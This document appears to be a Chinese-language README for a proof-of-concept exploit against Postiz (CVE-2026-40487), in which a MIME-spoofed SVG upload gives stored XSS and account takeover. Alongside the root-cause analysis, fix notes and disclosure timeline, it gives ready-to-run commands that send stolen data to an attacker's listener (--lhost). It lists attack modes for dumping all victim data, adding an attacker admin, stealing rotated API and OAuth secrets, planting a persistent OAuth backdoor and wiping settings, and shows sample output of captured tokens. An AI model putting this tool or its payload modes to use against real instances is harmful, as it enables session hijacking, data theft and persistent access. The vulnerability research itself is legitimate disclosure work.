
CVE-2026-40487 的概念验证漏洞利用,演示了通过 MIME 欺骗实现任意文件上传,进而导致 Postiz 中的存储型 XSS 和账户接管。包含多种攻击模式,用于数据外泄、权限提升和持久化。
发现并报告者:Astaruf
完整分析文章:https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSA 条目:https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz 是一款开源社交媒体管理工具,支持 28+ 平台集成(Instagram、X、LinkedIn、Facebook、TikTok 等),互联网上暴露了 600+ 实例。
低权限攻击者可以上传带有伪造 Content-Type: image/png 头的恶意 SVG(或 HTML)文件。服务器在未检查文件实际内容的情况下接受该文件,保留原始扩展名,nginx 根据该扩展名派生 Content-Type(image/svg+xml)进行服务。当受害者打开该 URL 时,嵌入的 JavaScript 在应用源(origin)中执行,赋予攻击者完整的会话劫持能力,等同于账户接管。
攻击链:
攻击者上传带有 Content-Type: image/png 的 .svg 文件
-> 服务器仅验证 Content-Type 头(CWE-345)
-> 文件以原始 .svg 扩展名保存到磁盘(CWE-434)
-> nginx 以 image/svg+xml 提供服务
-> 浏览器执行嵌入的 JavaScript(CWE-79)
-> 同源:完全访问受害者的会话
XSS 载荷在同源下与应用一起执行。即使认证 Cookie 是 HttpOnly,fetch() 配合 credentials: "include" 也会自动附加该 Cookie。攻击者可以:
pos_* 令牌,永不过期且密码更改后仍然有效)三个组件独立失效,共同构成利用链:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype 来自 multipart 请求中的 Content-Type 头,攻击者可完全控制。没有魔数(magic byte)检查,也没有使用 file-type 之类的库。
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) 从客户端提供的文件名中提取扩展名。未检查声明的 MIME 类型与扩展名之间的一致性。服务器还会在响应中返回完整的公共 URL,因此攻击者可以获得发送给受害者的链接。
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx 将 .svg 映射为 image/svg+xml,将 .html 映射为 text/html。没有 Content-Security-Policy,没有 X-Content-Type-Options: nosniff,没有 Content-Disposition: attachment。
Python 3.8+
pip install requests
# 1. 检查目标是否存在漏洞
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. 窃取受害者的所有数据
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. 创建持久化后门
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. 无需凭据即可重用令牌
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
攻击者 Postiz 服务器 受害者
| | |
|-- 1. 登录/注册 ------------->| |
|-- 2. 上传恶意 SVG ---------->| |
|<---- 文件 URL ----------------| |
|-- 3. 将 URL 发送给受害者 ---------------------------> |
| |<--- 4. 打开 URL ------- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS 执行,窃取数据 -------------------|
| 模式 | 描述 |
|---|---|
dump-self | 受害者个人资料、组织信息、层级、API 密钥 |
dump-personal | 显示名称、个人简介、头像 |
dump-integrations | 已连接的社交媒体集成和令牌 |
dump-posts | 已排定和草稿帖子(最近 365 天) |
dump-team | 团队成员、角色和电子邮件地址 |
dump-media | 媒体库列表 |
dump-notifications | 通知历史记录 |
dump-signatures | 帖子签名 |
dump-webhooks | 已配置的 Webhook 及其 URL |
dump-oauth-app | OAuth 应用凭据(clientId、secret) |
dump-copilot | AI 助手对话线程 |
dump-billing | 计费和订阅信息 |
dump-settings | 短链接和通知设置 |
dump-third-party | 第三方集成配置 |
dump-autopost | 自动发布规则 |
dump-sets | 内容集 |
dump-tags | 帖子标签 |
dump-customers | 客户列表 |
full-dump | 以上所有内容,单个载荷完成 |
| 模式 | 描述 |
|---|---|
add-admin | 邀请攻击者作为受害者组织中的 ADMIN(--attacker-email) |
rotate-key | 轮换组织 API 密钥并窃取 |
rotate-oauth | 轮换 OAuth 应用密钥并窃取 |
| 模式 | 描述 |
|---|---|
kill-notifications | 禁用所有电子邮件通知 |
edit-profile | 修改受害者的姓名和个人简介(--edit-name、--edit-bio) |
wipe-signatures | 删除所有帖子签名 |
wipe-webhooks | 删除所有 Webhook |
wipe-tags | 删除所有标签 |
wipe-sets | 删除所有内容集 |
wipe-autopost | 删除所有自动发布规则 |
logout-victim | 强制注销受害者 |
delete-oauth-app | 删除受害者的 OAuth 应用 |
| 模式 | 描述 |
|---|---|
create-oauth-app | 创建 OAuth 应用、自动批准、窃取持久化的 pos_* 令牌(--oauth-redirect) |
steal-cookie | 通过 document.cookie 窃取认证 JWT(当 NOT_SECURED=true 时) |
| 模式 | 描述 |
|---|---|
api-call | 任意已认证的 API 调用(--api-method、--api-path、--api-body) |
custom | 执行任意 JavaScript(--custom-js) |
| 选项 | 描述 |
|---|---|
--check | 探测目标是否存在漏洞(不执行攻击) |
--register | 登录前注册新账户 |
-t / --token | 使用 API 密钥或 pos_* 令牌代替凭据 |
--format html | 使用 HTML 载荷代替 SVG |
--proxy | 通过 HTTP/SOCKS 代理路由流量(例如 Burp Suite) |
-o / --output | 将战利品保存到 JSON 文件 |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — 通过 MIME 欺骗文件上传实现存储型 XSS
[*] 以 [email protected] 身份登录 ...
[+] 认证成功。
[*] 生成载荷:在单个载荷中窃取所有数据
[*] 上传带有 Content-Type: image/png 的恶意 .svg 文件 ...
[+] 上传成功。
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 在 0.0.0.0:8888 上启动数据窃取监听器 ...
=================================================================
将此 URL 发送给受害者:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] 等待受害者打开链接 ...
[+] 收到战利品 @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] 收到战利品 @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] 收到战利品 @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
版本 2.21.6 引入了三项更改:
file-type 库检查文件实际内容image/* 通配)| 日期 | 事件 |
|---|---|
| 2026-04-10 | 在源代码审查期间发现漏洞 |
| 2026-04-10 | 通过 GitHub Security Advisory(GHSA)报告 |
| 2026-04-10 | 开发人员确认并请求澄清 |
| 2026-04-10 | 提供了详细的攻击场景和 Shodan 数据 |
| 2026-04-11 | 提交了带证据的 CVSS 争议 |
| 2026-04-13 | 在 v2.21.6 中发布修复 |
| 2026-04-14 | 分配 CVE-2026-40487 |
| 2026-04-15 | 公开披露 |
本工具仅供授权的安全测试和教育目的使用。仅可针对您拥有或获得明确书面许可进行测试的系统使用。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。